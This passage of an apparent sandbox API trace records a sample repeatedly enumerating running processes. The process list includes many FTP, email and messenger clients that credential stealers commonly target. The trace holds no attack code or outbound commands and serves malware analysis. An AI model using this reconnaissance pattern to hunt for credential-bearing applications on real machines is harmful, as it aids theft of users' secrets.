th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.284] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.286] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0132.288] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.290] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist.exe")) returned 1 [0132.291] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="standard private.exe")) returned 1 [0132.296] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="available section.exe")) returned 1 [0132.297] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-policy-consider.exe")) returned 1 [0132.299] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1 [0132.301] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="body-surface.exe")) returned 1 [0132.303] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="his-such.exe")) returned 1 [0132.305] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="where.exe")) returned 1 [0132.307] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="question necessary.exe")) returned 1 [0132.308] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="onlyfight.exe")) returned 1 [0132.311] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="explainend.exe")) returned 1 [0132.313] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="speak.exe")) returned 1 [0132.315] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="manage agreement step.exe")) returned 1 [0132.316] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoid.exe")) returned 1 [0132.318] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="others_set_heavy.exe")) returned 1 [0132.320] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0132.322] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0132.324] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0132.326] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0132.329] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0132.331] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0132.333] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0132.334] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0132.337] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0132.339] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0132.341] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0132.343] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0132.344] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0132.348] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0132.351] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0132.354] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0132.357] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0132.360] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0132.363] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0132.366] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0132.368] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0132.372] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0132.374] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0132.376] CloseHandle (hObject=0x144) returned 1 [0132.377] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x338) returned 0x144 [0132.389] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.391] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.393] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.395] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.397] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.399] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.401] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.403] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.408] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.409] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.411] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.413] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.414] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.416] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.418] CloseHandle (hObject=0x144) returned 1 [0132.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x36c) returned 0x144 [0132.430] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.432] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.434] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.436] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.438] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.439] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.441] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.443] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.445] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.447] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.448] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.451] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.456] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.458] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.460] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.463] CloseHandle (hObject=0x144) returned 1 [0132.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x3d0) returned 0x144 [0132.490] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.491] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.493] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.495] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.497] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.498] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.500] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.502] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.504] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.507] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.509] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.511] 